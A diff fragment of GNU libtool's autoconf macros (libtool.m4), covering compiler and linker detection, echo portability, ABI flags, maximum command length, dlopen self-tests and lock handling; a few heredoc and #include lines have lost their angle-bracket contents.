+AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_PROG_LD])dnl +AC_REQUIRE([AC_PROG_LD_RELOAD_FLAG])dnl +AC_REQUIRE([AC_PROG_NM])dnl + +AC_REQUIRE([AC_PROG_LN_S])dnl +AC_REQUIRE([AC_DEPLIBS_CHECK_METHOD])dnl +# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers! +AC_REQUIRE([AC_OBJEXT])dnl +AC_REQUIRE([AC_EXEEXT])dnl +dnl + +AC_LIBTOOL_SYS_MAX_CMD_LEN +AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE +AC_LIBTOOL_OBJDIR + +AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl +_LT_AC_PROG_ECHO_BACKSLASH + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='sed -e s/^X//' +[sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'] + +# Same as above, but do not quote variable references. +[double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'] + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' + +# Constants: +rm="rm -f" + +# Global variables: +default_ofile=libtool +can_build_shared=yes + +# All known linkers require a `.a' archive for static linking (except M$VC, +# which needs '.lib'). +libext=a +ltmain="$ac_aux_dir/ltmain.sh" +ofile="$default_ofile" +with_gnu_ld="$lt_cv_prog_gnu_ld" + +AC_CHECK_TOOL(AR, ar, false) +AC_CHECK_TOOL(RANLIB, ranlib, :) +AC_CHECK_TOOL(STRIP, strip, :) + +old_CC="$CC" +old_CFLAGS="$CFLAGS" + +# Set sane defaults for various variables +test -z "$AR" && AR=ar +test -z "$AR_FLAGS" && AR_FLAGS=cru +test -z "$AS" && AS=as +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$DLLTOOL" && DLLTOOL=dlltool +test -z "$LD" && LD=ld +test -z "$LN_S" && LN_S="ln -s" +test -z "$MAGIC_CMD" && MAGIC_CMD=file +test -z "$NM" && NM=nm +test -z "$SED" && SED=sed +test -z "$OBJDUMP" && OBJDUMP=objdump +test -z "$RANLIB" && RANLIB=: +test -z "$STRIP" && STRIP=: +test -z "$ac_objext" && ac_objext=o + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + openbsd*) + old_postinstall_cmds="\$RANLIB -t \$oldlib~$old_postinstall_cmds" + ;; + *) + old_postinstall_cmds="\$RANLIB \$oldlib~$old_postinstall_cmds" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" +fi + +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# Only perform the check for file, if the check method requires it +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + AC_PATH_MAGIC + fi + ;; +esac + +AC_PROVIDE_IFELSE([AC_LIBTOOL_DLOPEN], enable_dlopen=yes, enable_dlopen=no) +AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], +enable_win32_dll=yes, enable_win32_dll=no) + +AC_ARG_ENABLE([libtool-lock], + [AC_HELP_STRING([--disable-libtool-lock], + [avoid locking (might break parallel builds)])]) +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +AC_ARG_WITH([pic], + [AC_HELP_STRING([--with-pic], + [try to use only PIC/non-PIC objects @<:@default=use both@:>@])], + [pic_mode="$withval"], + [pic_mode=default]) +test -z "$pic_mode" && pic_mode=default + +# Use C for the default configuration in the libtool script +tagname= +AC_LIBTOOL_LANG_C_CONFIG +_LT_AC_TAGCONFIG +])# AC_LIBTOOL_SETUP + + +# _LT_AC_SYS_COMPILER +# ------------------- +AC_DEFUN([_LT_AC_SYS_COMPILER], +[AC_REQUIRE([AC_PROG_CC])dnl + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC +])# _LT_AC_SYS_COMPILER + + +# _LT_AC_SYS_LIBPATH_AIX +# ---------------------- +# Links a minimal program and checks the executable +# for the system default hardcoded library path. In most cases, +# this is /usr/lib:/lib, but when the MPI compilers are used +# the location of the communication and MPI libs are included too. +# If we don't find anything, use the default library path according +# to the aix ld manual. +AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX], +[AC_LINK_IFELSE(AC_LANG_PROGRAM,[ +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi],[]) +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi +])# _LT_AC_SYS_LIBPATH_AIX + + +# _LT_AC_SHELL_INIT(ARG) +# ---------------------- +AC_DEFUN([_LT_AC_SHELL_INIT], +[ifdef([AC_DIVERSION_NOTICE], + [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)], + [AC_DIVERT_PUSH(NOTICE)]) +$1 +AC_DIVERT_POP +])# _LT_AC_SHELL_INIT + + +# _LT_AC_PROG_ECHO_BACKSLASH +# -------------------------- +# Add some code to the start of the generated configure script which +# will find an echo command which doesn't interpret backslashes. +AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH], +[_LT_AC_SHELL_INIT([ +# Check that we are running under the correct shell. +SHELL=${CONFIG_SHELL-/bin/sh} + +case X$ECHO in +X*--fallback-echo) + # Remove one level of quotation (which was required for Make). + ECHO=`echo "$ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','` + ;; +esac + +echo=${ECHO-echo} +if test "X[$]1" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift +elif test "X[$]1" = X--fallback-echo; then + # Avoid inline document here, it may be left over + : +elif test "X`($echo '\t') 2>/dev/null`" = 'X\t' ; then + # Yippee, $echo works! + : +else + # Restart under the correct shell. + exec $SHELL "[$]0" --no-reexec ${1+"[$]@"} +fi + +if test "X[$]1" = X--fallback-echo; then + # used as fallback echo + shift + cat </dev/null 2>&1 && unset CDPATH + +if test -z "$ECHO"; then +if test "X${echo_test_string+set}" != Xset; then +# find a string as large as possible, as long as the shell can cope with it + for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do + # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... + if (echo_test_string="`eval $cmd`") 2>/dev/null && + echo_test_string="`eval $cmd`" && + (test "X$echo_test_string" = "X$echo_test_string") 2>/dev/null + then + break + fi + done +fi + +if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + : +else + # The Solaris, AIX, and Digital Unix default echo programs unquote + # backslashes. This makes it impossible to quote backslashes using + # echo "$something" | sed 's/\\/\\\\/g' + # + # So, first we look for a working echo in the user's PATH. + + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for dir in $PATH /usr/ucb; do + IFS="$lt_save_ifs" + if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && + test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$dir/echo" + break + fi + done + IFS="$lt_save_ifs" + + if test "X$echo" = Xecho; then + # We didn't find a better echo, so look for alternatives. + if test "X`(print -r '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`(print -r "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # This shell has a builtin print -r that does the trick. + echo='print -r' + elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) && + test "X$CONFIG_SHELL" != X/bin/ksh; then + # If we have ksh, try running configure again with it. + ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} + export ORIGINAL_CONFIG_SHELL + CONFIG_SHELL=/bin/ksh + export CONFIG_SHELL + exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"} + else + # Try using printf. + echo='printf %s\n' + if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # Cool, printf works + : + elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL + export CONFIG_SHELL + SHELL="$CONFIG_SHELL" + export SHELL + echo="$CONFIG_SHELL [$]0 --fallback-echo" + elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$CONFIG_SHELL [$]0 --fallback-echo" + else + # maybe with a smaller string... + prev=: + + for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do + if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null + then + break + fi + prev="$cmd" + done + + if test "$prev" != 'sed 50q "[$]0"'; then + echo_test_string=`eval $prev` + export echo_test_string + exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"} + else + # Oops. We lost completely, so just stick with echo. + echo=echo + fi + fi + fi + fi +fi +fi + +# Copy echo and quote the copy suitably for passing to libtool from +# the Makefile, instead of quoting the original, which is used later. +ECHO=$echo +if test "X$ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then + ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo" +fi + +AC_SUBST(ECHO) +])])# _LT_AC_PROG_ECHO_BACKSLASH + + +# _LT_AC_LOCK +# ----------- +AC_DEFUN([_LT_AC_LOCK], +[AC_ARG_ENABLE([libtool-lock], + [AC_HELP_STRING([--disable-libtool-lock], + [avoid locking (might break parallel builds)])]) +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case `/usr/bin/file conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE="32" + ;; + *ELF-64*) + HPUX_IA64_MODE="64" + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out which ABI we are using. + echo '[#]line __oline__ "configure"' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + if test "$lt_cv_prog_gnu_ld" = yes; then + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case "`/usr/bin/file conftest.o`" in + *32-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_i386" + ;; + ppc64-*linux*|powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + ppc*-*linux*|powerpc*-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -belf" + AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf, + [AC_LANG_PUSH(C) + AC_TRY_LINK([],[],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no]) + AC_LANG_POP]) + if test x"$lt_cv_cc_needs_belf" != x"yes"; then + # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf + CFLAGS="$SAVE_CFLAGS" + fi + ;; +AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], +[*-*-cygwin* | *-*-mingw* | *-*-pw32*) + AC_CHECK_TOOL(DLLTOOL, dlltool, false) + AC_CHECK_TOOL(AS, as, false) + AC_CHECK_TOOL(OBJDUMP, objdump, false) + ;; + ]) +esac + +need_locks="$enable_libtool_lock" + +])# _LT_AC_LOCK + + +# AC_LIBTOOL_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE]) +# ---------------------------------------------------------------- +# Check whether the given compiler option works +AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], +[AC_REQUIRE([LT_AC_PROG_SED]) +AC_CACHE_CHECK([$1], [$2], + [$2=no + ifelse([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4]) + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$3" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + $2=yes + fi + fi + $rm conftest* +]) + +if test x"[$]$2" = xyes; then + ifelse([$5], , :, [$5]) +else + ifelse([$6], , :, [$6]) +fi +])# AC_LIBTOOL_COMPILER_OPTION + + +# AC_LIBTOOL_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [ACTION-SUCCESS], [ACTION-FAILURE]) +# ------------------------------------------------------------ +# Check whether the given compiler option works +AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], +[AC_CACHE_CHECK([$1], [$2], + [$2=no + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS $3" + printf "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&AS_MESSAGE_LOG_FD + else + $2=yes + fi + fi + $rm conftest* + LDFLAGS="$save_LDFLAGS" +]) + +if test x"[$]$2" = xyes; then + ifelse([$4], , :, [$4]) +else + ifelse([$5], , :, [$5]) +fi +])# AC_LIBTOOL_LINKER_OPTION + + +# AC_LIBTOOL_SYS_MAX_CMD_LEN +# -------------------------- +AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], +[# find the maximum length of command line arguments +AC_MSG_CHECKING([the maximum length of command line arguments]) +AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl + i=0 + teststring="ABCD" + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + netbsd* | freebsd* | openbsd* | darwin* ) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for *BSD + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + ;; + + *) + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/null` \ + = "XX$teststring") >/dev/null 2>&1 && + new_result=`expr "X$teststring" : ".*" 2>&1` && + lt_cv_sys_max_cmd_len=$new_result && + test $i != 17 # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + teststring= + # Add a significant safety factor because C++ compilers can tack on massive + # amounts of additional arguments before passing them to the linker. + # It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + ;; + esac +]) +if test -n $lt_cv_sys_max_cmd_len ; then + AC_MSG_RESULT($lt_cv_sys_max_cmd_len) +else + AC_MSG_RESULT(none) +fi +])# AC_LIBTOOL_SYS_MAX_CMD_LEN + + +# _LT_AC_CHECK_DLFCN +# -------------------- +AC_DEFUN([_LT_AC_CHECK_DLFCN], +[AC_CHECK_HEADERS(dlfcn.h)dnl +])# _LT_AC_CHECK_DLFCN + + +# _LT_AC_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE, +# ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING) +# ------------------------------------------------------------------ +AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF], +[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl +if test "$cross_compiling" = yes; then : + [$4] +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +}] +EOF + if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) $1 ;; + x$lt_dlneed_uscore) $2 ;; + x$lt_unknown|x*) $3 ;; + esac + else : + # compilation failed + $3 + fi +fi +rm -fr conftest* +])# _LT_AC_TRY_DLOPEN_SELF + + +# AC_LIBTOOL_DLOPEN_SELF +# ------------------- +AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], +[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[ + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ]) + ;; + + *) + AC_CHECK_FUNC([shl_load], + [lt_cv_dlopen="shl_load"], + [AC_CHECK_LIB([dld], [shl_load], + [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"], + [AC_CHECK_FUNC([dlopen], + [lt_cv_dlopen="dlopen"], + [AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"], + [AC_CHECK_LIB([svld], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"], + [AC_CHECK_LIB([dld], [dld_link], + [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"]) + ]) + ]) + ]) + ]) + ]) + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + AC_CACHE_CHECK([whether a program can dlopen itself], + lt_cv_dlopen_self, [dnl + _LT_AC_TRY_DLOPEN_SELF( + lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes, + lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross) + ]) + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + AC_CACHE_CHECK([whether a statically linked program can dlopen itself], + lt_cv_dlopen_self_static, [dnl + _LT_AC_TRY_DLOPEN_SELF( + lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes, + lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross) + ]) + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi +])# AC_LIBTOOL_DLOPEN_SELF + + +# AC_LIBTOOL_PROG_CC_C_O([TAGNAME]) +# --------------------------------- +# Check to see if options -c and -o are simultaneously supported by compiler +AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O], +[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl +AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext], + [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)], + [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* +]) +])# AC_LIBTOOL_PROG_CC_C_O + + +# AC_LIBTOOL_SYS_HARD_LINK_LOCKS([TAGNAME]) +# ----------------------------------------- +# Check to see if we can do hard links to lock some files if needed +AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], +[AC_REQUIRE([_LT_AC_LOCK])dnl + +hard_links="nottested" +if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + AC_MSG_CHECKING([if we can lock with hard links]) + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + AC_MSG_RESULT([$hard_links]) + if test "$hard_links" = no; then + AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe]) + need_locks=warn + fi +else + need_locks=no +fi +])# AC_LIBTOOL_SYS_HARD_LINK_LOCKS + + +# AC_LIBTOOL_OBJDIR +# ----------------- +AC_DEFUN([AC_LIBTOOL_OBJDIR], +[AC_CACHE_CHECK([for objdir], [lt_cv_objdir], +[rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null]) +objdir=$lt_cv_objdir +])# AC_LIBTOOL_OBJDIR + + +# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([TAGNAME]) +# ---------------------------------------------- +# Check hardcoding attributes. +AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], +[AC_MSG_CHECKING([how to hardcode library paths into programs]) +_LT_AC_TAGVAR(hardcode_action, $1)= +if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \ + test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \ + test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" != no && + test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" != no; then + # Linking always 